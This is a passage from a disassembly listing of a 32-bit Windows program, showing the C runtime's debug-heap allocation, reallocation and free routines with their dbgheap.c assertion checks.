; ---------------------------------------------------------------------------


loc_4190A4:				; CODE XREF: sub_418FC0+84j
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_4190C6
		mov	edx, dword_4510C0
		and	edx, 1
		test	edx, edx
		jnz	short loc_4190C6
		mov	[ebp+var_C], 1


loc_4190C6:				; CODE XREF: sub_418FC0+F0j
					; sub_418FC0+FDj
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_4190D7
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		cmp	eax, 0FFFFFFE0h
		jbe	short loc_419103


loc_4190D7:				; CODE XREF: sub_418FC0+10Aj
					; sub_418FC0+13Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
		push	0
		push	0
		push	0
		push	1
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4190F6
		int	3		; Trap to Debugger


loc_4190F6:				; CODE XREF: sub_418FC0+133j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4190D7
		xor	eax, eax
		jmp	loc_4192CC
; ---------------------------------------------------------------------------


loc_419103:				; CODE XREF: sub_418FC0+115j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_419150
		cmp	[ebp+arg_4], 1
		jz	short loc_419150
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_419150
		cmp	[ebp+arg_4], 3
		jz	short loc_419150


loc_41912A:				; CODE XREF: sub_418FC0+18Ej
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41914A
		int	3		; Trap to Debugger


loc_41914A:				; CODE XREF: sub_418FC0+187j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41912A


loc_419150:				; CODE XREF: sub_418FC0+14Ej
					; sub_418FC0+154j ...
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41FCA0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_419175
		xor	eax, eax
		jmp	loc_4192CC
; ---------------------------------------------------------------------------


loc_419175:				; CODE XREF: sub_418FC0+1ACj
		mov	edx, dword_4510C4
		add	edx, 1
		mov	dword_4510C4, edx
		cmp	[ebp+var_C], 0
		jz	short loc_4191D3
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+0Ch], 0FEDCBABCh
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+14h], 3
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+18h], 0
		jmp	loc_419273
; ---------------------------------------------------------------------------


loc_4191D3:				; CODE XREF: sub_418FC0+1C8j
		mov	edx, dword_4EF868
		add	edx, [ebp+arg_0]
		mov	dword_4EF868, edx
		mov	eax, dword_4EF870
		add	eax, [ebp+arg_0]
		mov	dword_4EF870, eax
		mov	ecx, dword_4EF870
		cmp	ecx, dword_4EF874
		jbe	short loc_419209
		mov	edx, dword_4EF870
		mov	dword_4EF874, edx


loc_419209:				; CODE XREF: sub_418FC0+23Bj
		cmp	dword_4EF86C, 0
		jz	short loc_41921F
		mov	eax, dword_4EF86C
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_419228
; ---------------------------------------------------------------------------


loc_41921F:				; CODE XREF: sub_418FC0+250j
		mov	edx, [ebp+var_4]
		mov	dword_4EF864, edx


loc_419228:				; CODE XREF: sub_418FC0+25Dj
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4EF86C
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[edx+18h], eax
		mov	ecx, [ebp+var_4]
		mov	dword_4EF86C, ecx


loc_419273:				; CODE XREF: sub_418FC0+20Ej
		push	4
		xor	edx, edx
		mov	dl, byte_4510CC
		push	edx
		mov	eax, [ebp+var_4]
		add	eax, 1Ch
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		push	4
		xor	ecx, ecx
		mov	cl, byte_4510CC
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx+20h]
		push	ecx
		call	sub_41B190
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		xor	eax, eax
		mov	al, byte_4510CE
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		call	sub_41B190
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, 20h


loc_4192CC:				; CODE XREF: sub_418FC0+DFj
					; sub_418FC0+13Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418FC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_419300
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419300	proc near		; CODE XREF: .nsp0:004192F1p
					; sub_41EB90+40p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_419359
		mov	edx, [ebp+var_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_419340:				; CODE XREF: sub_419300+57j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_419359
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_419340
; ---------------------------------------------------------------------------


loc_419359:				; CODE XREF: sub_419300+2Fj
					; sub_419300+46j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_419300	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419360	proc near		; CODE XREF: sub_4010AB+2Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_419380
		add	esp, 14h
		pop	ebp
		retn
sub_419360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419380	proc near		; CODE XREF: sub_419360+11p
					; sub_41D930+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_41FB40
		add	esp, 4
		push	1
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4193C0
		add	esp, 18h
		mov	[ebp+var_4], eax
		push	9
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_419380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C0	proc near		; CODE XREF: sub_419380+24p
					; sub_419900+24p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_4193F3
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_418EF0
		add	esp, 10h
		jmp	loc_4198CA
; ---------------------------------------------------------------------------


loc_4193F3:				; CODE XREF: sub_4193C0+14j
		cmp	[ebp+arg_14], 0
		jz	short loc_419416
		cmp	[ebp+arg_4], 0
		jnz	short loc_419416
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_419980
		add	esp, 8
		xor	eax, eax
		jmp	loc_4198CA
; ---------------------------------------------------------------------------


loc_419416:				; CODE XREF: sub_4193C0+37j
					; sub_4193C0+3Dj
		mov	eax, dword_4510C0
		and	eax, 4
		test	eax, eax
		jz	short loc_419452


loc_419422:				; CODE XREF: sub_4193C0+90j
		call	sub_41A090
		test	eax, eax
		jnz	short loc_41944C
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	239h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41944C
		int	3		; Trap to Debugger


loc_41944C:				; CODE XREF: sub_4193C0+69j
					; sub_4193C0+89j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_419422


loc_419452:				; CODE XREF: sub_4193C0+60j
		mov	edx, dword_4510C4
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, dword_4510C8
		jnz	short loc_419467
		int	3		; Trap to Debugger


loc_419467:				; CODE XREF: sub_4193C0+A4j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	2
		call	off_451490
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4194EC
		cmp	[ebp+arg_C], 0
		jz	short loc_4194BF


loc_419494:				; CODE XREF: sub_4193C0+FBj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		push	offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_4194B7
		int	3		; Trap to Debugger


loc_4194B7:				; CODE XREF: sub_4193C0+F4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419494
		jmp	short loc_4194E5
; ---------------------------------------------------------------------------


loc_4194BF:				; CODE XREF: sub_4193C0+D2j
					; sub_4193C0+123j
		push	offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4194DF
		int	3		; Trap to Debugger


loc_4194DF:				; CODE XREF: sub_4193C0+11Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4194BF


loc_4194E5:				; CODE XREF: sub_4193C0+FDj
		xor	eax, eax
		jmp	loc_4198CA
; ---------------------------------------------------------------------------


loc_4194EC:				; CODE XREF: sub_4193C0+CCj
		cmp	[ebp+arg_4], 0FFFFFFDBh
		jbe	short loc_41951E


loc_4194F2:				; CODE XREF: sub_4193C0+155j
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aAllocationTooL ; "Allocation too large or negative: %u by"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_419511
		int	3		; Trap to Debugger


loc_419511:				; CODE XREF: sub_4193C0+14Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4194F2
		xor	eax, eax
		jmp	loc_4198CA
; ---------------------------------------------------------------------------


loc_41951E:				; CODE XREF: sub_4193C0+130j
		cmp	[ebp+arg_8], 1
		jz	short loc_419566
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_419566
		mov	edx, [ebp+arg_8]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_419566


loc_419540:				; CODE XREF: sub_4193C0+1A4j
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_419560
		int	3		; Trap to Debugger


loc_419560:				; CODE XREF: sub_4193C0+19Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419540


loc_419566:				; CODE XREF: sub_4193C0+162j
					; sub_4193C0+170j ...
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41A4F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_419597
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	261h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419597
		int	3		; Trap to Debugger


loc_419597:				; CODE XREF: sub_4193C0+1B4j
					; sub_4193C0+1D4j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_419566
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_4195B6
		mov	[ebp+var_14], 1


loc_4195B6:				; CODE XREF: sub_4193C0+1EDj
		cmp	[ebp+var_14], 0
		jz	short loc_4195FA


loc_4195BC:				; CODE XREF: sub_4193C0+236j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_4195D1
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_4195F2


loc_4195D1:				; CODE XREF: sub_4193C0+206j
		push	offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
		push	0
		push	26Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4195F2
		int	3		; Trap to Debugger


loc_4195F2:				; CODE XREF: sub_4193C0+20Fj
					; sub_4193C0+22Fj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4195BC
		jmp	short loc_41965E
; ---------------------------------------------------------------------------


loc_4195FA:				; CODE XREF: sub_4193C0+1FAj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_41961F
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 1
		jnz	short loc_41961F
		mov	[ebp+arg_8], 2


loc_41961F:				; CODE XREF: sub_4193C0+248j
					; sub_4193C0+256j ...
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	short loc_419658
		push	offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
		push	0
		push	272h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419658
		int	3		; Trap to Debugger


loc_419658:				; CODE XREF: sub_4193C0+275j
					; sub_4193C0+295j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41961F


loc_41965E:				; CODE XREF: sub_4193C0+238j
		cmp	[ebp+arg_14], 0
		jz	short loc_419689
		mov	eax, [ebp+arg_4]
		add	eax, 24h
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41FDD0
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_419687
		xor	eax, eax
		jmp	loc_4198CA
; ---------------------------------------------------------------------------


loc_419687:				; CODE XREF: sub_4193C0+2BEj
		jmp	short loc_4196AC
; ---------------------------------------------------------------------------


loc_419689:				; CODE XREF: sub_4193C0+2A2j
		mov	edx, [ebp+arg_4]
		add	edx, 24h
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_41FD20
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4196AC
		xor	eax, eax
		jmp	loc_4198CA
; ---------------------------------------------------------------------------


loc_4196AC:				; CODE XREF: sub_4193C0:loc_419687j
					; sub_4193C0+2E3j
		mov	ecx, dword_4510C4
		add	ecx, 1
		mov	dword_4510C4, ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_419717
		mov	edx, [ebp+var_C]
		mov	eax, dword_4EF868
		sub	eax, [edx+10h]
		mov	dword_4EF868, eax
		mov	ecx, dword_4EF868
		add	ecx, [ebp+arg_4]
		mov	dword_4EF868, ecx
		mov	edx, [ebp+var_C]
		mov	eax, dword_4EF870
		sub	eax, [edx+10h]
		mov	dword_4EF870, eax
		mov	ecx, dword_4EF870
		add	ecx, [ebp+arg_4]
		mov	dword_4EF870, ecx
		mov	edx, dword_4EF870
		cmp	edx, dword_4EF874
		jbe	short loc_419717
		mov	eax, dword_4EF870
		mov	dword_4EF874, eax


loc_419717:				; CODE XREF: sub_4193C0+2FFj
					; sub_4193C0+34Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 20h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		cmp	eax, [edx+10h]
		jbe	short loc_41974F
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		sub	edx, [ecx+10h]
		push	edx
		xor	eax, eax
		mov	al, byte_4510CE
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+10h]
		push	edx
		call	sub_41B190
		add	esp, 0Ch


loc_41974F:				; CODE XREF: sub_4193C0+369j
		push	4
		xor	eax, eax
		mov	al, byte_4510CC
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41B190
		add	esp, 0Ch
		cmp	[ebp+var_14], 0
		jnz	short loc_419789
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_10]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		mov	[eax+18h], ecx


loc_419789:				; CODE XREF: sub_4193C0+3ACj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		mov	[edx+10h], eax


loc_419792:				; CODE XREF: sub_4193C0+40Bj
		cmp	[ebp+arg_14], 0
		jnz	short loc_4197C7
		cmp	[ebp+arg_14], 0
		jnz	short loc_4197A6
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jz	short loc_4197C7


loc_4197A6:				; CODE XREF: sub_4193C0+3DCj
		push	offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
		push	0
		push	2A8h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4197C7
		int	3		; Trap to Debugger


loc_4197C7:				; CODE XREF: sub_4193C0+3D6j
					; sub_4193C0+3E4j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_419792
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jz	short loc_4197DB
		cmp	[ebp+var_14], 0
		jz	short loc_4197E3


loc_4197DB:				; CODE XREF: sub_4193C0+413j
		mov	eax, [ebp+var_4]
		jmp	loc_4198CA
; ---------------------------------------------------------------------------


loc_4197E3:				; CODE XREF: sub_4193C0+419j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx], 0
		jz	short loc_4197FB
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		jmp	short loc_419837
; ---------------------------------------------------------------------------


loc_4197FB:				; CODE XREF: sub_4193C0+429j
					; sub_4193C0+46Aj
		mov	eax, dword_4EF864
		cmp	eax, [ebp+var_8]
		jz	short loc_419826
		push	offset a_plastblockPol ; "_pLastBlock == pOldBlock"
		push	0
		push	2B7h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419826
		int	3		; Trap to Debugger


loc_419826:				; CODE XREF: sub_4193C0+443j
					; sub_4193C0+463j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4197FB
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	dword_4EF864, eax


loc_419837:				; CODE XREF: sub_4193C0+439j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41984F
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	[eax], edx
		jmp	short loc_41988A
; ---------------------------------------------------------------------------


loc_41984F:				; CODE XREF: sub_4193C0+47Ej
					; sub_4193C0+4BEj
		mov	eax, dword_4EF86C
		cmp	eax, [ebp+var_8]
		jz	short loc_41987A
		push	offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
		push	0
		push	2C2h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41987A
		int	3		; Trap to Debugger


loc_41987A:				; CODE XREF: sub_4193C0+497j
					; sub_4193C0+4B7j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41984F
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	dword_4EF86C, eax


loc_41988A:				; CODE XREF: sub_4193C0+48Dj
		cmp	dword_4EF86C, 0
		jz	short loc_4198A1
		mov	ecx, dword_4EF86C
		mov	edx, [ebp+var_C]
		mov	[ecx+4], edx
		jmp	short loc_4198A9
; ---------------------------------------------------------------------------


loc_4198A1:				; CODE XREF: sub_4193C0+4D1j
		mov	eax, [ebp+var_C]
		mov	dword_4EF864, eax


loc_4198A9:				; CODE XREF: sub_4193C0+4DFj
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4EF86C
		mov	[ecx], edx
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_C]
		mov	dword_4EF86C, ecx
		mov	eax, [ebp+var_4]


loc_4198CA:				; CODE XREF: sub_4193C0+2Ej
					; sub_4193C0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4193C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_419900
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419900	proc near		; CODE XREF: .nsp0:004198F1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_41FB40
		add	esp, 4
		push	0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4193C0
		add	esp, 18h
		mov	[ebp+var_4], eax
		push	9
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_419900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419940	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_409F35+B7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_419980
		add	esp, 8
		pop	ebp
		retn
sub_419940	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_4199B0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419980	proc near		; CODE XREF: sub_418E10+98p
					; sub_4193C0+47p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4199B0
		add	esp, 8
		push	9
		call	sub_41FBE0
		add	esp, 4
		pop	ebp
		retn
sub_419980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B0	proc near		; CODE XREF: .nsp0:00419969p
					; sub_419980+15p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4510C0
		and	eax, 4
		test	eax, eax
		jz	short loc_4199F3


loc_4199C3:				; CODE XREF: sub_4199B0+41j
		call	sub_41A090
		test	eax, eax
		jnz	short loc_4199ED
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	3E1h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4199ED
		int	3		; Trap to Debugger


loc_4199ED:				; CODE XREF: sub_4199B0+1Aj
					; sub_4199B0+3Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4199C3


loc_4199F3:				; CODE XREF: sub_4199B0+11j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4199FE
		jmp	loc_419D95
; ---------------------------------------------------------------------------


loc_4199FE:				; CODE XREF: sub_4199B0+47j
		push	0
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3
		call	off_451490
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_419A48


loc_419A1D:				; CODE XREF: sub_4199B0+91j
		push	offset aClientHookFree ; "Client hook free failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_419A3D
		int	3		; Trap to Debugger


loc_419A3D:				; CODE XREF: sub_4199B0+8Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_419A1D
		jmp	loc_419D95
; ---------------------------------------------------------------------------


loc_419A48:				; CODE XREF: sub_4199B0+6Bj
					; sub_4199B0+CDj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41A4F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_419A79
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	3F3h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419A79
		int	3		; Trap to Debugger


loc_419A79:				; CODE XREF: sub_4199B0+A6j
					; sub_4199B0+C6j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419A48
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_4], ecx


loc_419A88:				; CODE XREF: sub_4199B0+12Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
